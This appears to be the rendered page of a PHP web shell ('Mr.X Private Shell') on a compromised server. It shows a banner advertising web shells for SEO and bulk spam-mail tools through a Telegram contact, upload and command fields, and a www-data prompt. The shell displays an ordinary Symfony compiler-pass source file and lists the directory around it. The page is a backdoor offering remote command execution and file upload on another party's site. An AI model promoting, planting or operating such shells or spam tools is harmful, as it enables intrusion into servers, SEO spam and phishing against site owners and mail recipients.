__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\DependencyInjection\Compiler;

use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Exception\EnvParameterException;
use Symfony\Component\DependencyInjection\Exception\RuntimeException;
use Symfony\Component\DependencyInjection\Loader\FileLoader;

/**
 * This pass validates each definition individually only taking the information
 * into account which is contained in the definition itself.
 *
 * Later passes can rely on the following, and specifically do not need to
 * perform these checks themselves:
 *
 * - non synthetic, non abstract services always have a class set
 * - synthetic services are always public
 *
 * @author Johannes M. Schmitt <schmittjoh@gmail.com>
 */
class CheckDefinitionValidityPass implements CompilerPassInterface
{
    /**
     * Processes the ContainerBuilder to validate the Definition.
     *
     * @return void
     *
     * @throws RuntimeException When the Definition is invalid
     */
    public function process(ContainerBuilder $container)
    {
        foreach ($container->getDefinitions() as $id => $definition) {
            // synthetic service is public
            if ($definition->isSynthetic() && !$definition->isPublic()) {
                throw new RuntimeException(sprintf('A synthetic service ("%s") must be public.', $id));
            }

            // non-synthetic, non-abstract service has class
            if (!$definition->isAbstract() && !$definition->isSynthetic() && !$definition->getClass() && !$definition->hasTag('container.service_locator') && (!$definition->getFactory() || !preg_match(FileLoader::ANONYMOUS_ID_REGEXP, $id))) {
                if ($definition->getFactory()) {
                    throw new RuntimeException(sprintf('Please add the class to service "%s" even if it is constructed by a factory since we might need to add method calls based on compile-time checks.', $id));
                }
                if (class_exists($id) || interface_exists($id, false)) {
                    if (str_starts_with($id, '\\') && 1 < substr_count($id, '\\')) {
                        throw new RuntimeException(sprintf('The definition for "%s" has no class attribute, and appears to reference a class or interface. Please specify the class attribute explicitly or remove the leading backslash by renaming the service to "%s" to get rid of this error.', $id, substr($id, 1)));
                    }

                    throw new RuntimeException(sprintf('The definition for "%s" has no class attribute, and appears to reference a class or interface in the global namespace. Leaving out the "class" attribute is only allowed for namespaced classes. Please specify the class attribute explicitly to get rid of this error.', $id));
                }

                throw new RuntimeException(sprintf('The definition for "%s" has no class. If you intend to inject this service dynamically at runtime, please mark it as synthetic=true. If this is an abstract definition solely used by child definitions, please add abstract=true, otherwise specify a class to get rid of this error.', $id));
            }

            // tag attribute values must be scalars
            foreach ($definition->getTags() as $name => $tags) {
                foreach ($tags as $attributes) {
                    $this->validateAttributes($id, $name, $attributes);
                }
            }

            if ($definition->isPublic() && !$definition->isPrivate()) {
                $resolvedId = $container->resolveEnvPlaceholders($id, null, $usedEnvs);
                if (null !== $usedEnvs) {
                    throw new EnvParameterException([$resolvedId], null, 'A service name ("%s") cannot contain dynamic values.');
                }
            }
        }

        foreach ($container->getAliases() as $id => $alias) {
            if ($alias->isPublic() && !$alias->isPrivate()) {
                $resolvedId = $container->resolveEnvPlaceholders($id, null, $usedEnvs);
                if (null !== $usedEnvs) {
                    throw new EnvParameterException([$resolvedId], null, 'An alias name ("%s") cannot contain dynamic values.');
                }
            }
        }
    }

    private function validateAttributes(string $id, string $tag, array $attributes, array $path = []): void
    {
        foreach ($attributes as $name => $value) {
            if (\is_array($value)) {
                $this->validateAttributes($id, $tag, $value, [...$path, $name]);
            } elseif (!\is_scalar($value) && null !== $value) {
                $name = implode('.', [...$path, $name]);
                throw new RuntimeException(sprintf('A "tags" attribute must be of a scalar-type for service "%s", tag "%s", attribute "%s".', $id, $tag, $name));
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
AbstractRecursivePass.php File 10.12 KB 0644
AliasDeprecatedPublicServicesPass.php File 2.19 KB 0644
AnalyzeServiceReferencesPass.php File 6.82 KB 0644
AttributeAutoconfigurationPass.php File 7.44 KB 0644
AutoAliasServicePass.php File 1.42 KB 0644
AutowireAsDecoratorPass.php File 1.59 KB 0644
AutowirePass.php File 30.71 KB 0644
AutowireRequiredMethodsPass.php File 4.04 KB 0644
AutowireRequiredPropertiesPass.php File 2.48 KB 0644
CheckArgumentsValidityPass.php File 4.25 KB 0644
CheckCircularReferencesPass.php File 2.43 KB 0644
CheckDefinitionValidityPass.php File 4.95 KB 0644
CheckExceptionOnInvalidReferenceBehaviorPass.php File 4.63 KB 0644
CheckReferenceValidityPass.php File 1.5 KB 0644
CheckTypeDeclarationsPass.php File 12.29 KB 0644
Compiler.php File 2.64 KB 0644
CompilerPassInterface.php File 695 B 0644
DecoratorServicePass.php File 5.35 KB 0644
DefinitionErrorExceptionPass.php File 3.22 KB 0644
ExtensionCompilerPass.php File 891 B 0644
InlineServiceDefinitionsPass.php File 7.81 KB 0644
MergeExtensionConfigurationPass.php File 8.24 KB 0644
PassConfig.php File 7.77 KB 0644
PriorityTaggedServiceTrait.php File 6.68 KB 0644
RegisterAutoconfigureAttributesPass.php File 3.16 KB 0644
RegisterEnvVarProcessorsPass.php File 2.99 KB 0644
RegisterReverseContainerPass.php File 2.07 KB 0644
RegisterServiceSubscribersPass.php File 7.43 KB 0644
RemoveAbstractDefinitionsPass.php File 935 B 0644
RemoveBuildParametersPass.php File 1.17 KB 0644
RemovePrivateAliasesPass.php File 1.11 KB 0644
RemoveUnusedDefinitionsPass.php File 2.84 KB 0644
ReplaceAliasByActualDefinitionPass.php File 3.78 KB 0644
ResolveBindingsPass.php File 10.2 KB 0644
ResolveChildDefinitionsPass.php File 7.44 KB 0644
ResolveClassPass.php File 1.52 KB 0644
ResolveDecoratorStackPass.php File 4.26 KB 0644
ResolveEnvPlaceholdersPass.php File 1.38 KB 0644
ResolveFactoryClassPass.php File 1.21 KB 0644
ResolveHotPathPass.php File 2.24 KB 0644
ResolveInstanceofConditionalsPass.php File 7.06 KB 0644
ResolveInvalidReferencesPass.php File 5.37 KB 0644
ResolveNamedArgumentsPass.php File 5.93 KB 0644
ResolveNoPreloadPass.php File 3.02 KB 0644
ResolveParameterPlaceHoldersPass.php File 3.12 KB 0644
ResolveReferencesToAliasesPass.php File 2.71 KB 0644
ResolveServiceSubscribersPass.php File 1.67 KB 0644
ResolveTaggedIteratorArgumentPass.php File 1.08 KB 0644
ServiceLocatorTagPass.php File 4.73 KB 0644
ServiceReferenceGraph.php File 2.62 KB 0644
ServiceReferenceGraphEdge.php File 2.09 KB 0644
ServiceReferenceGraphNode.php File 2.2 KB 0644
ValidateEnvPlaceholdersPass.php File 3.59 KB 0644
Filemanager